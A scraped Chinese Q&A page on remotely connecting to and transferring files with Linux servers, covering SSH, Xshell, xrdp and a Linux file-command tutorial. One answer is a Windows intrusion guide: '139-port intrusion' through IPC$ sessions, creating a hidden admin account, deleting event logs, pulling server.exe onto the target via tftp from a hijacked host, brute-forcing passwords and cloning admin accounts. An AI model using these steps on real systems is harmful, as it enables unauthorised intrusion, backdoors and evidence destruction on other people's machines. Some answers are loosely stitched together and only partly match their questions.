導航:首頁 > IDC知識 > linux遠程下載伺服器

linux遠程下載伺服器

發布時間:2020-12-24 11:53:53

1、怎麼遠程自己的linux伺服器

工具:Xshell
演示系統:centos6.5
①:進入linux系統在root許可權下使用:ifconfig命令查看當前linux的ip地址

②:service sshd start (第一次啟動linux的SSH服務)
chkconfig sshd on (設置sshd開機啟動)
(為了顯示效果,這里使用restart重啟sshd服務)

③:下載xshell等SSH遠程連接工具:新建連接,輸入ip地址,就可以自動連接遠程linux
Xshell的主界面:點擊黃色背景部分新建連接

然後輸入linux的ip地址,ssh服務默認埠22,無需修改

單擊確定:

點擊連接,連接linux:依次輸入用戶名和密碼

連接成功:

注意:xshell綁定的遠程IP和埠必須與linux的ip和埠一致,默認埠22

2、在linux系統上如何連接遠程伺服器?

打開終端使用ssh命令copy鏈接遠程伺服器。 命令格式 : ssh [email protected](root對應你使用的用戶名,192……對應的伺服器ip地址,一般伺服器埠22,命令默認22.如果需要更改埠在ssh後面 -p 埠)詳細了解linux,請關注《linux就該這么學》官網。

3、win7下用SSH下載遠程伺服器(linux系統)的文件到本地命令怎麼打?

使用sftp 功能,下載個 filezilla ,這個軟體有,使用比較簡單。

使用 sz,rz 命令,linux 上要安裝一下

4、linux在dos命令下怎麼開遠程讓管理員主機能夠遠程到伺服器

常用的DOS命令建立到遠程主機的連接
net use \\ip\ipc$ "password"
/user:"username"
建立新用戶
net user username password /add
修改用戶密碼
net
user username newpassword
激活用戶
net user username
/active:yes
把用戶加入到用戶組
net localgroup groupname username
/add
查看遠程主機的時間
net time \\ip
顯示遠程主機的共享資源列表
net view
\\ip
啟動和停止系統服務
net start(stop) servicename
映射對方的硬碟
net use z:
\\ip\c$
啟動程序
at \\ip time programnane
文件復制
copy filename
\\ip\c$\filename
遠程執行FTP命令
echo open servername > c:\ftp.txt
echo
username >> c:\ftp.txt
echo password >> c:\ftp.txt
echo get
filename c:\filename >> c:\ftp.txt
ftp -s:c:\ftp.txt
del
c:\ftp.txt
刪除日誌
del c:\winnt\system32\logfiles\*.*
del
c:\winnt\ssytem32\config\*.evt
del c:\winnt\system32\dtclog\*.*
del
c:\winnt\system32\*.log
del c:\winnt\system32\*.txt
del c:\winnt\*.txt

del c:\winnt\*.log
訪問對方共享資源
net use \\192.168.1.1\c$
/user:administrator "123"
如果提示連接成功,你在輸入
start \\192.168.1.1\c$

就打開目標機的C盤了
----------------------------------
net use \\ip\ipc$ " "
/user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use
h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$
登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del
刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes
激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup
administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net
start 查看開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schele)

net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set
設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net
view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net
pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息

net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del
刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345
用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a
查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v
查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)

netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip
對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數
ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名)
向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l
65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows
NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t
以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名
加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名
加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR
*.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
#2 二:
del /S /Q 目錄
或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)

move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc
one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >"
是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at
id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r
在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠
遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet
將進入本機的telnet
copy 路徑\文件名1 路徑\文件名2 /y
復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
copy c:\srv.exe \\ip\admin$
復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg
將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*
復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要復制的文件或目錄樹 目標地址\目錄名
復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe
c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe
參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put
c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠
用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route
print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway
addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp
-a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem
查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S
+H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir
查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、
time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set
指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元)
顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if
在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽
將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名
從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)

echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo
信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt
在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值
設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
139埠入侵
net
命令是139埠入侵的重中之重,整個入侵過程會多次用到它。在命令行窗口下輸入net,可以看到有一大堆參數,別被這一大堆參數嚇懷了,現在我來為你一一講解。
net
use
net use
命令用於與遠程主機建立IPC$(管理)連接,當你有遠程計算機的用戶名(通常用戶名為administrator,記住它)和密碼時,在命令行窗口下輸入net
use\\IP\IPC$"password"/user:administrator,你就成功地建立了與遠程計算機的連接。在這之後,可以對其進行管理了。net
use 還有一個用處,即映射遠程機器的共享資源,輸入net use z: \\IP\C$
(注意!在此之後的一切命令都是基於第一個命令的,也就是說必須先建立IPC$連接後,這些命令才會成功),打開「我的電腦」,你會發現多了一個Z盤,裡面全是遠程主機C盤下的東西,你在Z盤里刪除了一個文件,對方C盤下的這個文件就也被刪除了,所有對Z盤的操作其實就是對遠程計算機的C
盤的操作。怎麼樣,是不是很有意思呢?
net view
net view 用於查看遠程計算機有哪些共享資源,通常你會看到my
document之類的共享文件夾,輸入net view \\IP即可。我個人認為net view
沒有太大用處,要知道,在Windows2000中,各個硬碟都是共享的,但是如果你用net view 來查看,你會發現並無C,D,E
之類的共享資源。這是為什麼呢?注意,在這之前的一些命令中,我們曾輸入過IPC$,C$這樣的奇怪東西,其實,Windows2000中,帶"$"後綴的共享資源是隱藏的,在命令行窗口下是無法看到的,Windows2000中各個盤都是以諸如C$,D$,E$
這樣的名稱共享的,所以我們看不到,但確實存在,IPC$也是如此。
net share
net share 用於開放共享,輸入net
share QQ=c:\tencent,你會發現多了一個名為QQ的共享資源。這個命令有慎么作用呢?假設一個主機安全做的不錯,關閉了IPC$,C$,D$
等共享,那麼我們就無法在139埠上建立管理連接,也無法訪問對方的C盤,當我們通過別的手段進入後(如遠程溢出),我們就可以用net share
開放IPC$,從而轉為熟悉的139埠的入侵,開放IPC$ 的命令為net share IPC$。相應的,如果你想關閉共享,你可以加上/del 後綴,例如net
share c$ /del 就關閉了C盤的共享。
net user
net user 命令用於管理主機上的用戶,僅輸入不帶任何參數的net
user 會列出計算機上所有的用戶名。現在就讓我們看看net user
命令是如何對用戶進行操作的。
 ┎───────────────────────────────────────────────────────┒ 
 ┃
net user hacker 12345 /add 建立一個名為hacker,密碼為12345的用戶。 

 ┃ net user hacker /del
刪除名為hacker的用戶。 ┃ 
 ┃ net user hacker
/active:no 禁用hacker這個用戶,這個用戶不能再登陸此計算機。 ┃
 ┃ net user hacker
/active:yes 激活已禁用的hacker這個用戶。 ┃ 
┃ net localgroup
administrator hacker /add 把hacker這個用戶添加進管理員組,即提升hacker的許可權,使之變為管理員 ┃

┖───────────────────────────────────────────────────────┚
net start /
net stop
net start / net stop 命令用於起動/停止系統服務,通常我們會net stop w3svc
(停止網頁服務),然後替換網頁,對此命令我不多講,知道即可。
  *at 命令,net
time
之所以把它們放在一起來講,是因為at命令要用到net time命令的結果,一般我們先 net view
\\ip,得到遠程主機的時間(假設得到的時間為9:00),然後at \\ip 9:00 telnet
就啟動了telnet服務,at這個命令就是用來遠程運行程序的.
(5)需要准備的工具
 肉雞獵手v1.0掃描一個網段,找出弱密碼的計算機
 SMBCrack
針對特定主機,暴力猜解密碼
 DameWare Mini Remote Control監控運程屏幕 
 CA.exe
克隆管理員賬號

5、linux可以遠程linux伺服器么

可以的 linux個人電腦連接linux伺服器或者linux伺服器連接linux伺服器遠程桌面都可以
1在系統中打開終端命令工具,然後輸入並運行下面的命令,來安裝xrdp工具,這個工具是Linux設置遠程登錄必須安裝的工具:
sudo apt-get install xrdp
2安裝xrdp工具後,在系統菜單中依次點擊並打開「系統」→「首選項」→「遠程桌面」
3在打開的「遠程桌面首選項」中,勾選共享下面的「允許他人查看您的桌面」和「允許其他用戶控制您的桌面」,若是對安全方面要求高,可以好勾選安全下面的「您必須為本機器確認每次訪問」,這樣別人每次遠程登錄你的系統,在你的桌面彈出是否允許別人登陸的提示,需要你允許,別人才能連接
4下面我們來驗證在Linux系統打開遠程桌面,在系統菜單中依次點擊並打開「應用程序」→「互聯網」→「終端服務客戶端」
5在打開的終端服務客戶端對話框的,計算器後面輸入我們要遠程登錄的計算機的IP地址,協議保持默認,其它可以不用填寫,然後點擊右下方的「連接」按鈕
6之後就打開遠程登錄界面,在Mole裡面選擇「sesman-Xvnc」,一般默認為這個,若不是這個那麼請選擇為這個協議,然後再下面輸入遠程的Linux系統給登陸的用戶名和密碼,之後,點下面的OK按鈕
7點OK按鈕後,會檢查登陸協議、用戶名和密碼,驗證完成後,就開始設置一些登陸的桌面環境,不要點擊右下方的OK按鈕,桌面能正常連接會自動關閉這個對話框,若是驗證出錯,會有提示信息
8登錄到遠程桌面後,就和實際使用自己的電腦一樣的,可以做任何操作,只要你有這些操作許可權
發布了圖坑爹,不會再問我

6、進linux系統的伺服器遠程是怎麼進的?

這要看它有沒有界面了,如果有界面的話可以通過mstsc遠程連接來實現,前版提是 linux系統要有安裝xrdp協議,並權打開設置 允許遠程連接apt-get install xrdp
如果沒有界面的伺服器,也就是純命令行的,你就需要在伺服器上安裝ssh了,然後通過putty工具或者ssh工具來連接伺服器了 apt-get install ssh

7、在windows在的dos命令就能操作遠程linux伺服器了,為什麼還要下載ssh軟體呢?

ssh通訊是加密的,而且是可以用數字密鑰認證
DOS,用TELNET的話,那是明碼的,
ssh軟體還有其他用圖,比如開TUNNELS,通過它用網路鄰居也是可以的呢

8、求:linux遠程伺服器與本地終端文件傳輸命令

Linux 文件命令精通指南
作者:Sheryl Calish

為剛接觸 Linux 文件命令的初學者提供的速成教程

雖然 GUI 桌面(如 KDE 和 GNOME)能夠幫助用戶利用 Linux 特性,而無需關於命令行介面的功能知識,但還是經常會需要更多的功能和靈活性。而且,基本熟悉這些命令對於在 shell 腳本中正確地使某些功能自動化仍然是必需的。

這篇文章是關於 Linux 文件命令的一個「速成教程」,它是為那些剛接觸這個操作系統或者只是需要補充這方面知識的用戶提供的。它包含了對一些更有用的命令的一個簡明的概述以及關於它們的最強大的應用的指導。下麵包含的信息 — 結合一些實驗 — 將使您能夠容易地掌握這些基本的命令。(注意:當涉及到一個與 Oracle 集群文件系統 (OCFS) 結合的內核時,這些命令中的某些命令的行為可能會稍微有所不同。在此情況下,Oracle 提供了一個 OCFS 工具集,該工具集可以為文件命令應用提供一個更好的選擇。)

注意,這里包含的所有示例都在 SUSE Linux 8.0 Professional 上進行了測試。雖然沒有理由相信它們在其它的系統上將不能工作,但如果出現問題,您應當查看您的文檔,以了解可能的變化。

背景概念

在深入研究規范之前,讓我們回顧一些基礎知識。

文件和命令

在 Linux/UNIX 操作系統中,所有事物都被當作文件來處理:硬體設備(包括鍵盤和終端)、目錄、命令本身,當然還有文件。這個奇怪的慣例實際上是 Linux/UNIX 的能力和靈活性的基礎。

大多數(幾乎是全部)的命令形式如下:

command [option] [source file(s)] [target file]

獲取幫助

最有用的命令之一是那些提供幫助的命令(特別是對那些學習 Linux 的人而言)。Linux 中的兩個重要的信息來源是聯機參考手冊,或 man 頁面和 whatis 工具。您可以用 whatis 命令來訪問一個不熟悉的命令的 man 頁面。

$ whatis echo

要了解關於這個命令的更多信息,可以使用:

$ man echo

如果您不知道某個特殊任務所需的命令,您可以用 man -k (也稱為 apropos)和一個主題來生成可能的命令。例如:

$ man -k files

一個很有用但常常被忽視的命令可以提供關於使用 man 本身的信息:

$ man man

您可以用 SPACEBAR 來瀏覽任意的 man 頁面;UP ARROW 將向上翻滾文件。.要退出,則輸入 q,!,或 CTRL-Z。

用戶類別

記得那句名言「所有動物一例平等但有些動物比其他動物更加平等」嗎?在 Linux 世界中,根用戶掌管一切。

根用戶可以以另一個用戶名 su (源自 "superuser")登錄。要執行諸如添加一個新用戶、列印機或文件系統之類的任務,必須作為根用戶登錄或者用 su 命令和根用戶密碼切換到超級用戶。系統文件(包括控制初始化過程的系統文件)歸根用戶所有。雖然可能允許普通用戶對它們進行讀操作,但出於系統安全性的原因,編輯的權利將留給根用戶。

BASH shell

雖然提供了其它的 shell,但 BASH (Bourne Again Shell) 是 Linux 的默認 shell。它結合了與它同名的 Bourne shell 的特性和 Korn、C 和 TCSH shell 的特性。

BASH 內置的命令 history 默認記錄最後輸入的 500 條命令。可以通過在命令提示符下輸入 history 來查看它們。要檢索某個特定的命令,可以在命令提示符下按 UP ARROW 或 DOWN ARROW,或在歷史列表中輸入它的編號,並在編號前面加上 "!",例如:

$ !49

您還可以通過一條命令在歷史列表中離位置最靠前的項目的距離來執行該命令:如果在歷史列表中有 53 個事件,$ !-3 將執行事件號 51。

像 UNIX/Linux 世界的其它 shell 一樣,BASH 使用了特殊的環境變數來方便系統管理。例如:

HOME,用戶主目錄
PATH,Linux 用來搜索您輸入的命令的可執行鏡像的搜索路徑
HISTSIZE,系統保存的歷史事件的數量

除了這些保留的關鍵字之外,您還可以定義您自己的環境變數。例如,Oracle 使用 ORACLE_HOME (還有其它一些變數),要使 Oracle 安裝成功完成,必須在您的環境中設置這些變數。

可以在提示符下臨時設置變數:

$HISTSIZE=100

或者,在 /etc/profile (需要根用戶許可權)中進行系統范圍的永久設置,或在 .profile 中進行局部永久設置。

可以通過 echo 命令,並用一個 $ 符號來訪問一個環境變數的值,進而查看該值。

$ echo $HOME
/home/bluher

可以用 env 命令來查看當前所有的環境變數。

正則表達式和通配符

許多 Linux 命令使用通配符 * 和 ? 來匹配任意數量的字元或分別匹配任意的單個字元;正則模式匹配表達式利用一個句點 (.) 來匹配除「換行符」之外的任意單個字元。這兩種情況下都使用方括弧 ([ ]) 來匹配除「*」號之外的字元組。不過,* 號在各種情況下有類似但不同的意義:雖然它在 shell 中將匹配一個或更多的字元,但在正則表達式中,它匹配上述字元的零個或更多的實例。一些命令(如 egrep 和 awk)使用了一組更廣泛的特殊字元來進行模式匹配。

文件處理命令

剖析一個文件列表

ls 命令用來查看用戶有執行許可權的任意目錄中的文件列表,該命令有許多有趣的選項。例如:

$ ls -liah *
22684 -rw-r--r-- 1 bluher users 952 Dec 28 18:43 .profile
19942 -rw-r--r-- 1 scalish users 30 Jan 3 20:00 test2.out
925 -rwxr-xr-x 1 scalish users 378 Sep 2 2002 test.sh

上面的列表顯示 8 列:

第 1 列指示文件的 inode,因為我們使用了 -i 選項。剩下的列通過 -l 選項來進行正常顯示。
第 2 列顯示文件類型和文件訪問許可權。
第3 列顯示鏈接數,包括目錄。
第 4 和第 5 列顯示文件的所有者和組所有者。這里,所有者 "bluher" 屬於組 "users"。
第 6 列顯示文件大小(單位為所顯示的單位,而不是默認的位元組數,因為我們使用了 -h 選項。
第 7 列顯示日期(它看起來像是三列),包括月、日和年,以及當天的時間。
第 8 列顯示文件名。在選項列表中使用 -a 將使列表中包含隱藏文件(如 .profile)的列表。
處理文件

可以移動 (mv)、復制 (cp) 或刪除 (rm) 文件和目錄。明智地使用 -i 選項,以獲得確認通常是個不錯的主意。

$ cp -i ls.out ls2.out
cpverwrite `ls2.out'?

mv 命令允許使用 -b 選項,這將在移動文件之前作一個備份拷貝。rm 和 cp 接受功能強大但卻危險的 -r 選項,它將在一個目錄和它的文件上遞歸執行。

$ rm -ir Test
rm:descend into directory `Test'? y

可以用 mkdir 來創建目錄,用 rmdir 來刪除目錄。不過,因為不能用 rmdir 來刪除包含文件的目錄,所以使用 rm 加 -r 選項通常要更方便些。

出於安全的原因,所有的文件都有所有權和保護。文件訪問許可權(或文件模式)包含之前提到的相同的 10 個字元:

第一個字元指示文件類型。最常見的是 - 代表文件,d 代表目錄,而 l 代表鏈接。
接下來的 9 個字元是三種用戶類別的訪問許可權:文件所有者(字元 2-4),用戶組 (5-7) 和其它 (8-10),其中 r 表示讀許可權,w 表示寫許可權,x 指示一個文件上的執行許可權。破折號 - 如果出現在這九個位置的任意一個,則指示這個操作對該類別的用戶禁止。

可以使用 chmod 命令通過字元符號或二進制掩碼來設置訪問許可權。要使用二進制掩碼,必須將三個許可權組的字元表示轉換成二進制格式,然後轉換成八進制格式:

用戶類別: 所有者 用戶組 其它
字元表示: rwx r-x r--
二進製表示: 111 101 100
八進製表示: 7 5 4

將寫許可權賦予用戶組,您可以使用:

chmod g+w test.sh or chmod 774 test.sh

用 umask 命令,在 /etc/init.dev 文件中進行系統范圍內的、或在 .profile 文件中進行的本地的文件許可權默認設置。這個命令指示用 777 減去這個數字來獲取默認的許可權:

$ umask 022

這將為用戶創建的所有新文件生成一個默認的文件許可權 755。

可以用 chown 來修改文件的所有權:

$ chown bluher ls.out

這里,bluher 是新的文件所有者。類似地,組成員資格將按以下方式修改:

$ chgrp devgrp ls.out

這里,devgrp 是新的用戶組。

ls 不提供哪些文件是文本的,哪些文件是二進制的的信息。要了解這個信息,您可以使用 file * 命令。

重命名文件

賦予一個文件多個名字的兩種流行的方法是利用鏈接和 alias 命令。Alias 可以用來為一個更長的命令重新起一個更方便的名字:

$ alias ll='ls -l'
$ ll

注意單引號的使用,這使得 BASH 將該項目傳遞給別名,而不是自己估計它。別名還可用作較長的路徑名的縮寫:

$ alias jdev9i=/jdev9i/jdev/bin/jdev

關於 alias 和它的反命令 unalias 的更多信息,請查看 BASH 的 man 頁面的 "SHELL BUILTIN COMMANDS" 子部分。在最後一個例子中,定義了一個環境變數來實現相同的結果。

$ export JDEV_HOME=/jdev9i/jdev/bin/jdev
$ echo $JDEV_HOME
/jdev9i/jdev/bin/jdev
$ $JDEV_HOME

鏈接允許幾個文件名引用單個源文件,格式如下:

ln [-s] fileyouwanttolinkto newname

單獨的 ln 命令創建到文件的一個硬鏈接,而使用 -s 選項來創建一個符號鏈接。簡而言之,一個硬鏈接幾乎不能和原始的文件區分開(除了這兩個文件的 inode 將相同之外)。符號鏈接較容易區分,因為它們出現在一個長的文件列表中,並用 ->; 來指示源文件,l 指示文件類型。

查看和查找文件

文件過濾器

用來讀取文件內容和在文件內容上執行操作的命令有時被稱為 ¹&濾器。sed 和 awk 命令是兩個濾波器的例子,因為在以前的 OTN 文章中有它們詳細的討論,在這里將略過。

諸如 cat、 more 和 less 之類的命令讓您能夠從命令行查看一個文本文件的內容,而無需調用編輯器。Cat 是 "concatenate" 的縮寫,它將默認地在標准輸出(顯示屏)上顯示文件內容。和 cat 一起提供的最有趣的選項之一是 -n 選項,它用編號的輸出行來顯示文件內容。

$ cat -n test.out
1 This is a test.

因為 cat 一次性輸出文件中的所有行,所以您可能更喜歡用 more 和 less,因為它們都一次輸出一屏的文件內容。Less 是 more 的一個增強的版本,它允許用來自 vi 文本編輯器的關鍵命令來增強文件查看。例如,d 向前翻滾、b 向後翻滾 N 行(如果 N 是在 d 或 b 之前指定的)。為 N 輸入的值成為隨後的 d 命令的默認值。man 頁面實用工具使用 less 來顯示使用說明的內容。

重定向和管道

重定向允許將命令輸出重定向到文件中,而不是標准輸出,或者類似地,也可重定向輸入。重定向的標准符號 >; 創建一個新的文件。>;>; 符號將輸出添加到一個現有的文件中:

$ more test2.out
Another test.
$ cat test.out >;>; test2.out
$ cat test2.out
Another test.
This is a test.

到文件的標准輸入可以用 < 符號來重定向:

$ cat < test2.out

錯誤消息用 2>; 和 2>;>; 來重定向和添加,格式如下:

$ command 2>; name_of_error_file

要避免無意地覆蓋一個現有的文件,使用 BASH 內置的命令集:

$ set -o noclobber

可以在命令和輸出文件之間用 >;! 符號來重載這個特性。要關閉這個特性,用 +o 代替 -o。

重定向在一個命令和文件之間、或文件和文件之間工作。重定向語句的一項必須是一個文件。

管道使用 |符號,並且在命令之間工作。例如,您可以用以下方式將一個命令的輸出直接發送到列印機上:

$ ls -l * | lpr

可以用以下方式快速地找到歷史列表中的一個命令:

$ history | grep cat

更多的濾波器

Grep、fgrep 和 egrep 都顯示匹配一種模式的行。所有這三個命令都在文件中搜索指定的模式,如果您想不起來一個所需文件的名稱,這將非常有用。基本格式是:

grep [options] PATTERN [FILE...]

$ grep -r 'Subject' nsmail

CTRL-Z 將終止上述或其它任何命令。

grep 的最有用的選項可能是 -s。如果您以除根用戶之外的任何身份搜索系統文件,那麼對於每一個您沒有訪問許可權的文件,都將產生錯誤消息。這個命令禁止那些消息。

Fgrep(也以 grep -F 調用)只查找固定的字元串,而不是 grep 接收的正則表達式。而 egrep 接收包含更大范圍的特殊字元(如 「|」,它指示條件 OR 運算符)的模式。

$ egrep 'Subject|mailto' *

查找文件

find 命令的 GNU 版本非常強大、靈活並且比 UNIX 系統上存在的經典版本更具包容性。它對於涉及到目錄結構的任務非常有用,包括在文件上查找和執行命令。find 命令的基本格式是:

$ find startdirectory options matchcriteria [actionoptions]

如果您知道文件的名稱、或者甚至名稱的一部分,但不知道它所處的目錄,您可以這么做:

$ find .-name 'test*'
./test
./jdevhome/mywork/EmpWS/EmpBC4J/test

與經典的 UNIX 系統不同,在 Linux 中不需要在末尾添加 -print 操作,因為如果沒有指定其它的操作選項,就將假定執行這個操作。在目錄起始位置上的一個點 ( . ) 將使 find 在您的工作目錄中開始搜索。兩個點, ..,在父目錄中開始搜索。您可以在任意目錄下開始搜索。

注意,您可以使用通配符作為搜索准則的一部分(只要用單引號將整個項目括起來)。

$ find .-name 'test*' -print
./test.out
./test2.out

顯示擁有 .out 擴展名的一系列文件:

$ find /home -name '*.out'

不過記住,除非您是作為超級用戶運行這個命令,否則您將可能得到許多的 "ermission denied" 錯誤消息。

最強大的搜索工具之一是和 grep 一起使用的 -exec 操作:

$ find .-name '*.html' -exec grep 'mailto:[email protected]' {} \;

.,查找一個 html 文件,*.html,並在當前文件上執行 (-exec) grep 命令,{}。當使用 -exec 操作時,需要一個分號 ;,這是用來在使用 find 命令時執行其它一些操作。需要反斜線 \ 和引號來確保這些項目通過 BASH,以使它們由命令而不是 shell 來進行解釋。

與linux遠程下載伺服器相關的知識